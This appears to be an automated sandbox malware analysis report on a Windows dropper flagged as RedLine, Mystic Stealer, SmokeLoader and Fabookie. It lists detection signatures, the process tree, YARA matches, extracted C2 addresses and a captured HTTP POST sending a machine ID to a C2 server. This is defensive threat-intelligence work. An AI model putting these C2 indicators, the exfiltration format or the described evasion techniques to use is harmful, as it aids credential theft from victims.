Edit tour

Windows Analysis Report
e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe

Overview

General Information

Sample Name:	e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe
Analysis ID:	1313298
MD5:	6bf4c9d2b8dbd206c60ca8cd78c66141
SHA1:	638da5eaece51d6cf4ac16b8c157d0794b873eb1
SHA256:	e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c880e91bd0b053bbc79a
Tags:	exeRedLineStealer
Infos:

Detection

Fabookie, Mystic Stealer, RedLine, SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Yara detected Mystic Stealer

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Fabookie

Benign windows process drops PE files

Malicious sample detected (through community Yara rule)

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Disable Windows Defender real time protection (registry)

Maps a DLL or memory area into another process

Found stalling execution ending in API Sleep call

Machine Learning detection for sample

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Disable Windows Defender notifications (registry)

Checks if the current machine is a virtual machine (disk enumeration)

Writes to foreign memory regions

Changes security center settings (notifications, updates, antivirus, firewall)

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to dynamically determine API calls

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Found evasive API chain checking for process token information

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to shutdown / reboot the system

Creates files inside the system directory

PE file contains sections with non-standard names

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

AV process strings found (often used to terminate AV products)

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Queries disk information (often used to detect virtual machines)

Uses Microsoft's Enhanced Cryptographic Provider

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Classification

Process Tree

System is w10x64

e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe (PID: 6488 cmdline: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe MD5: 6BF4C9D2B8DBD206C60CA8CD78C66141)

v0139395.exe (PID: 6504 cmdline: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe MD5: D9F040D855D241E47DE3A1453BA55A1E)

v5523814.exe (PID: 6520 cmdline: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe MD5: 8C88F4E2A9CBD0F50308ECFBF2682492)

v2232713.exe (PID: 6536 cmdline: C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe MD5: B632113C967BF119C2FFB113D0EC60C1)

a3839540.exe (PID: 6552 cmdline: C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe MD5: C8A8CEA45E9B40590620ED7BE3A231AA)

b1121980.exe (PID: 6648 cmdline: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe MD5: 4512B6C7E1F51DB836D1540F2C9A75AC)

conhost.exe (PID: 6656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

AppLaunch.exe (PID: 6764 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe MD5: 4DF5F963C7E18F062E49870D0AFF8F6F)

WerFault.exe (PID: 6836 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6648 -s 632 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

c5286836.exe (PID: 7136 cmdline: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe MD5: 9B45E6934F5BC977E2A1A36B641EFAD9)

conhost.exe (PID: 7144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

AppLaunch.exe (PID: 6312 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe MD5: 4DF5F963C7E18F062E49870D0AFF8F6F)

AppLaunch.exe (PID: 2996 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe MD5: 4DF5F963C7E18F062E49870D0AFF8F6F)

explorer.exe (PID: 3512 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

3F93.exe (PID: 4716 cmdline: C:\Users\user\AppData\Local\Temp\3F93.exe MD5: F6FE596CB820A7D48DF6F79A66112644)

x1895805.exe (PID: 4272 cmdline: C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe MD5: 38EED433351602811990E57317F5A52E)

WerFault.exe (PID: 3548 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7136 -s 140 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

rundll32.exe (PID: 6612 cmdline: C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\ MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 6744 cmdline: C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP001.TMP\ MD5: 73C519F050C20580F8A62C849D49215A)

svchost.exe (PID: 7080 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6316 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

rundll32.exe (PID: 3808 cmdline: C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP002.TMP\ MD5: 73C519F050C20580F8A62C849D49215A)

svchost.exe (PID: 6640 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6720 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 6792 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 3252 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6804 cmdline: c:\windows\system32\svchost.exe -k unistacksvcgroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6652 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 7100 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

fahrbrd (PID: 488 cmdline: C:\Users\user\AppData\Roaming\fahrbrd MD5: 4DF5F963C7E18F062E49870D0AFF8F6F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Fabookie	Fabookie is facebook account info stealer.	No Attribution	https://ics-cert.kaspersky.com/publications/reports/2021/12/16/pseudomanuscrypt-a-mass-scale-spyware-attack-campaign/ https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1	https://malpedia.caad.fkie.fraunhofer.de/details/win.fabookie

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/ https://bartblaze.blogspot.com/2021/06/digital-artists-targeted-in-redline.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://77.91.68.29/fks/", "http://77.91.68.29/fks/"]}

Threatname: MysticStealer

{"C2 url": "http://5.42.92.211/"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_Fabookie	Yara detected Fabookie	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.252653274.0000000000A36000.00000004.00000001.01000000.0000000A.sdmp	JoeSecurity_MysticStealer_1	Yara detected Mystic Stealer	Joe Security
00000009.00000002.252540564.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_MysticStealer_1	Yara detected Mystic Stealer	Joe Security
00000012.00000002.276123012.0000000004890000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000012.00000002.276123012.0000000004890000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x5c4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000012.00000002.276133021.00000000048B1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000012.00000002.276133021.00000000048B1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x1c4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author
18.2.AppLaunch.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
9.2.AppLaunch.exe.400000.0.raw.unpack	JoeSecurity_MysticStealer_1	Yara detected Mystic Stealer	Joe Security
14.2.c5286836.exe.426000.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
6.2.b1121980.exe.a36000.1.unpack	JoeSecurity_MysticStealer_1	Yara detected Mystic Stealer	Joe Security
9.2.AppLaunch.exe.400000.0.unpack	JoeSecurity_MysticStealer_1	Yara detected Mystic Stealer	Joe Security
6.2.b1121980.exe.a36000.1.raw.unpack	JoeSecurity_MysticStealer_1	Yara detected Mystic Stealer	Joe Security
6.2.b1121980.exe.9c0000.0.unpack	JoeSecurity_MysticStealer_1	Yara detected Mystic Stealer	Joe Security
Click to see the 2 entries

HTTP traffic detected: POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=S2T2johILhNxP0GzGJDGContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 5.42.92.211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 53 32 54 32 6a 6f 68 49 4c 68 4e 78 50 30 47 7a 47 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 4e 55 49 78 4e 7a 63 77 4d 54 46 45 4d 45 4d 78 4d 7a 55 78 4e 7a 6b 78 4e 54 59 78 4e 51 3d 3d 0d 0a 2d 2d 53 32 54 32 6a 6f 68 49 4c 68 4e 78 50 30 47 7a 47 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 5a 47 39 75 61 57 56 7a 0d 0a 2d 2d 53 32 54 32 6a 6f 68 49 4c 68 4e 78 50 30 47 7a 47 4a 44 47 2d 2d 0d 0a Data Ascii: --S2T2johILhNxP0GzGJDGContent-Disposition: form-data; name="hwid"NUIxNzcwMTFEMEMxMzUxNzkxNTYxNQ==--S2T2johILhNxP0GzGJDGContent-Disposition: form-data; name="build"ZG9uaWVz--S2T2johILhNxP0GzGJDG--

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 18.2.AppLaunch.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.c5286836.exe.426000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.276123012.0000000004890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.276133021.00000000048B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.262735327.0000000000426000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORY

Source: b1121980.exe, 00000006.00000002.252616758.000000000082A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

memstr_684b22ad-1

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000012.00000002.276123012.0000000004890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000012.00000002.276133021.00000000048B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown

Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6648 -s 632

Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Code function: 0_2_00803BA2	0_2_00803BA2
Source: C:\Users\user\Desktop\e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe	Code function: 0_2_00805C9E	0_2_00805C9E
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	Code function: 1_2_009A3BA2	1_2_009A3BA2
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe	Code function: 1_2_009A5C9E	1_2_009A5C9E
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	Code function: 2_2_00AF3BA2	2_2_00AF3BA2
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe	Code function: 2_2_00AF5C9E	2_2_00AF5C9E
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe	Code function: 3_2_01133BA2	3_2_01133BA2
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe	Code function: 3_2_01135C9E	3_2_01135C9E
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009F02FE	6_2_009F02FE
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A1431A	6_2_00A1431A
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009C8620	6_2_009C8620
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009F073C	6_2_009F073C
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009C2121	6_2_009C2121
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A04977	6_2_00A04977
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009D0AC3	6_2_009D0AC3
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009C3846	6_2_009C3846
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009F0C65	6_2_009F0C65
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A0CDD4	6_2_00A0CDD4
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009F11A1	6_2_009F11A1
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009EE0A9	6_2_009EE0A9
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009EE4C3	6_2_009EE4C3
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009CE8AD	6_2_009CE8AD
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009EE8EF	6_2_009EE8EF
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009EED09	6_2_009EED09
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A1ED5F	6_2_00A1ED5F
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A12F20	6_2_00A12F20
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009EF17A	6_2_009EF17A
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A13580	6_2_00A13580
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009EF5FE	6_2_009EF5FE
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A13AC0	6_2_00A13AC0
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009EFA6F	6_2_009EFA6F
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_009EFEAD	6_2_009EFEAD
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A520E7	6_2_00A520E7
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A50041	6_2_00A50041
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A54170	6_2_00A54170
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A4414B	6_2_00A4414B
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A48397	6_2_00A48397
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A4E4DC	6_2_00A4E4DC
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A4A557	6_2_00A4A557
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A466EA	6_2_00A466EA
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A5A6FD	6_2_00A5A6FD
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A5E6CC	6_2_00A5E6CC
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A50A18	6_2_00A50A18
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A44B80	6_2_00A44B80
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A4CD94	6_2_00A4CD94
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A48DC0	6_2_00A48DC0
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A5308C	6_2_00A5308C
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A51120	6_2_00A51120
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A53393	6_2_00A53393
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A4B454	6_2_00A4B454
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A4F581	6_2_00A4F581
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A5362A	6_2_00A5362A
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A498A7	6_2_00A498A7
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A4B90D	6_2_00A4B90D
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A47AB0	6_2_00A47AB0
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A4BC79	6_2_00A4BC79
Source: C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe	Code function: 6_2_00A4DF13	6_2_00A4DF13
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_00416879	9_2_00416879
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_0041650D	9_2_0041650D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_0041E22A	9_2_0041E22A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_004112EA	9_2_004112EA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_004126B0	9_2_004126B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_0041DF93	9_2_0041DF93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_0041AC41	9_2_0041AC41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_00416054	9_2_00416054
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_004190DC	9_2_004190DC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_0041CCE7	9_2_0041CCE7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_0041DC8C	9_2_0041DC8C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_004144A7	9_2_004144A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_0040ED4B	9_2_0040ED4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_00411D4E	9_2_00411D4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_00415157	9_2_00415157
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_0041ED70	9_2_0041ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_0041BD20	9_2_0041BD20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_004139C0	9_2_004139C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_0041A181	9_2_0041A181
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_00417994	9_2_00417994
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_0041B618	9_2_0041B618
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_00418B13	9_2_00418B13
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_0040F780	9_2_0040F780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Code function: 9_2_00412F97	9_2_00412F97
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003E02FE	14_2_003E02FE
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_0040431A	14_2_0040431A
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003B8620	14_2_003B8620
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003E073C	14_2_003E073C
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003B2121	14_2_003B2121
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003F4977	14_2_003F4977
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003B3846	14_2_003B3846
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003C0AC3	14_2_003C0AC3
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003E0C65	14_2_003E0C65
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003FCDD4	14_2_003FCDD4
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003E11A1	14_2_003E11A1
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003DE0A9	14_2_003DE0A9
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003DE4C3	14_2_003DE4C3
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003BE8AD	14_2_003BE8AD
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003DE8EF	14_2_003DE8EF
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_0040ED5F	14_2_0040ED5F
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003DED09	14_2_003DED09
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_00402F20	14_2_00402F20
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003DF17A	14_2_003DF17A
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_00403580	14_2_00403580
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003DF5FE	14_2_003DF5FE
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003DFA6F	14_2_003DFA6F
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_00403AC0	14_2_00403AC0
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe	Code function: 14_2_003DFEAD	14_2_003DFEAD
